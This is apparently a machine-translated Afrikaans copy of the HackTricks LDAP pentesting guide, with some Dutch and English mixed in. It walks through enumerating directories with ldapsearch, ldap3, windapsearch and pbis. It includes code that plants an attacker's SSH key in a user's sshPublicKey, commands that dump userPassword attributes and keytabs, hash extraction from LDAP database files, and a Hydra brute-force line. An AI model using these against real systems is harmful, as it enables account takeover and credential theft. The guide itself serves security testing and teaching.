19 KiB
389, 636, 3268, 3269 - Pentesting LDAP
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Die gebruik van LDAP (Ligte Gids Toegangsprotokol) is hoofsaaklik vir die opsporing van verskeie entiteite soos organisasies, individue, en bronne soos lêers en toestelle binne netwerke, beide openbare en private. Dit bied 'n gestroomlynde benadering in vergelyking met sy voorganger, DAP, deur 'n kleiner kode-afdruk te hê.
LDAP-gidse is gestruktureer om hul verspreiding oor verskeie bedieners toe te laat, met elke bediener wat 'n gerepliseerde en gesinkroniseerde weergawe van die gids huisves, bekend as 'n Gidsisteemagent (DSA). Die verantwoordelikheid vir die hanteer van versoeke lê heeltemal by die LDAP-bediener, wat met ander DSAs kan kommunikeer soos nodig om 'n eenvormige antwoord aan die versoeker te lewer.
Die organisasie van die LDAP-gids lyk soos 'n boomhiërargie, wat begin met die hoofgids bo-aan. Dit tak af na lande, wat verder verdeel in organisasies, en dan na organisatoriese eenhede wat verskeie afdelings of departemente verteenwoordig, en bereik uiteindelik die individuele entiteitevlak, insluitend mense en gedeelde bronne soos lêers en drukkers.
Verstekpoort: 389 en 636 (ldaps). Globale Katalogus (LDAP in ActiveDirectory) is standaard beskikbaar op poorte 3268 en 3269 vir LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) definieer die gidsinhoud as 'n stel rekords. Dit kan ook opdateringsversoeke (Voeg by, Wysig, Verwyder, Hernoem) verteenwoordig.
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- Lyne 1-3 definieer die topvlakdomein local
- Lyne 5-8 definieer die eerste vlakdomein moneycorp (moneycorp.local)
- Lyne 10-16 definieer 2 organisatoriese eenhede: dev en sales
- Lyne 18-26 skep 'n objek van die domein en ken eienskappe met waardes toe
Skryf data
Let daarop dat as jy waardes kan wysig, jy dalk regtig interessante aksies kan uitvoer. Byvoorbeeld, stel jou voor jy kan die "sshPublicKey" inligting verander van jou gebruiker of enige gebruiker. Dit is baie waarskynlik dat as hierdie eienskap bestaan, dan lees ssh die openbare sleutels vanaf LDAP. As jy die openbare sleutel van 'n gebruiker kan wysig, sal jy kan aanmeld as daardie gebruiker selfs al is wagwoordverifikasie nie geaktiveer in ssh nie.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff duidelike tekskredensials
Indien LDAP sonder SSL gebruik word, kan jy kredensials in duidelike teks aflê in die netwerk.
Jy kan ook 'n MITM-aanval uitvoer in die netwerk tussen die LDAP-bediener en die klient. Hier kan jy 'n Downgrade Aanval uitvoer sodat die klient die kredensials in duidelike teks gebruik om in te teken.
As SSL gebruik word kan jy probeer om 'n MITM soos hierbo genoem te maak, maar 'n vals sertifikaat aan te bied, as die gebruiker dit aanvaar, kan jy die verifikasiemetode afgradeer en die kredensials weer sien.
Anonieme Toegang
Bypass TLS SNI kontrole
Volgens hierdie skryfstuk deur net die LDAP-bediener met 'n willekeurige domeinnaam (soos company.com) te benader, was hy in staat om die LDAP-diens te kontak en inligting as 'n anonieme gebruiker te onttrek:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonieme bind
LDAP anonieme binds maak dit vir ongeagtekte aanvallers moontlik om inligting van die domein te onttrek, soos 'n volledige lys van gebruikers, groepe, rekenaars, gebruikersrekeningkenmerke, en die domein wagwoordbeleid. Dit is 'n ouditiewe konfigurasie, en vanaf Windows Server 2003 word slegs geautehtiseerde gebruikers toegelaat om LDAP-versoeke te inisieer.
Nietemin, kan administrateurs dalk 'n spesifieke toepassing moes opstel om anonieme binds toe te laat en meer toegang as beoog uit te reik, wat gevolglik ongeagte gebruikers toegang tot alle voorwerpe in AD gee.
Geldige Gelde
As jy geldige gelde het om in te teken op die LDAP-bediener, kan jy alle inligting oor die Domein Admin dump met behulp van:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
Opsomming
Outomaties
Deur hierdie metode te gebruik, sal jy in staat wees om die openbare inligting (soos die domeinnaam):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
Sien LDAP-opname met Python
Jy kan probeer om 'n LDAP te opneem met of sonder geloofsbriewe deur Python te gebruik: pip3 install ldap3
Eerste probeer om sonder geloofsbriewe te verbind:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
Indien die antwoord True
is soos in die vorige voorbeeld, kan jy interessante data van die LDAP (soos die naamkonteks of domeinnaam) bediener verkry van:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
Sodra jy die naamkonteks het, kan jy 'n paar meer opwindende navrae maak. Hierdie eenvoudige navraag behoort jou al die voorwerpe in die gids te wys:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
Of dump die hele LDAP:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch is 'n Python-skrip wat nuttig is om gebruikers, groepe, en rekenaars van 'n Windows-domein op te som deur LDAP-navrae te gebruik.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
Kontroleer nulgelde of indien jou gelde geldig is:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
Indien jy iets vind wat sê dat die "bind voltooi moet word" beteken dit dat die geloofsbriewe verkeerd is.
Jy kan alles van 'n domein onttrek met:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Haal gebruikers op:
Om gebruikersinformatie op te halen, kunt u LDAP-query's gebruiken om gegevens zoals gebruikersnamen, e-mailadressen, telefoonnummers en andere relevante informatie te verkrijgen. Hier is een voorbeeld van een LDAP-query om gebruikers op te halen:
ldapsearch -x -h <LDAP_SERVER_IP> -b "dc=mydomain,dc=com" "(objectClass=inetOrgPerson)"
Zorg ervoor dat u de juiste LDAP-server-IP en basis-DN voor uw omgeving gebruikt bij het uitvoeren van de LDAP-query.
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Uitvoer rekenaars:
LDAP kan ook worden gebruikt om informatie over computers in een netwerk op te halen. Dit kan handig zijn tijdens een pentest om een overzicht te krijgen van alle computers die in het netwerk zijn geregistreerd. Met behulp van LDAP-query's kunnen details zoals het IP-adres, het besturingssysteem en andere relevante informatie over de computers worden opgehaald.
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Haal my inligting uit
Om jou eie inligting uit 'n LDAP-diens te onttrek, kan jy die volgende stappe volg:
- Identifiseer die LDAP-diens se URL, poort en protokol.
- Maak 'n verbinding met die LDAP-diens deur 'n gereedskap soos
ldapsearch
te gebruik. - Voer 'n soektog uit om jou spesifieke inligting te vind, byvoorbeeld deur te soek na jou gebruikersnaam.
- Analiseer die resultate en onttrek die relevante inligting, soos jou e-posadres of telefoonnommer.
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Haal Domain Admins uit:
ldapsearch -x -h <IP> -p <PORT> -b "dc=<DOMAIN>,dc=<COM>" "(&(objectCategory=group)(cn=Domain Admins))"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Haal Domain Users uit:
Gebruik de LDAP-zoekopdracht om alle gebruikers in het domein op te halen:
(&(objectCategory=person)(objectClass=user))
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Enterprise Admins:
Haal Enterprise Admins uit:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Haal Administrateurs uit:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Haal Remote Desktop Group uit:
The Remote Desktop Users group is a built-in group that gives users the ability to connect remotely to the server. If a user is a member of this group, they can log in remotely to the server and have the same access as if they were physically sitting at the server console.
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Om te sien of jy toegang het tot enige wagwoord, kan jy grep gebruik nadat jy een van die navrae uitgevoer het:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
pbis
Jy kan pbis hier aflaai: https://github.com/BeyondTrust/pbis-open/ en dit word gewoonlik geïnstalleer in /opt/pbis
.
Pbis laat jou toe om maklik basiese inligting te kry:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Grafiese Koppelvlak
Apache Directory
Laai Apache Directory hier af. Jy kan 'n voorbeeld van hoe om hierdie instrument te gebruik hier vind.
jxplorer
Jy kan 'n grafiese koppelvlak met LDAP-bediener hier aflaai: http://www.jxplorer.org/downloads/users.html
Standaard word dit geïnstalleer in: /opt/jxplorer
Godap
Jy kan dit bereik by https://github.com/Macmod/godap
Verifikasie via kerberos
Deur ldapsearch
te gebruik kan jy teen kerberos verifieer in plaas van via NTLM deur die parameter -Y GSSAPI
te gebruik
POST
As jy die lêers waar die databasisse gehuisves word kan bereik (dit kan in /var/lib/ldap wees). Jy kan die hasse onttrek met:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
Konfigurasie Lêers
- Algemeen
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 bediener
- V3.sas.oc
- Microsoft Active Directory bediener
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP gids bediener
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.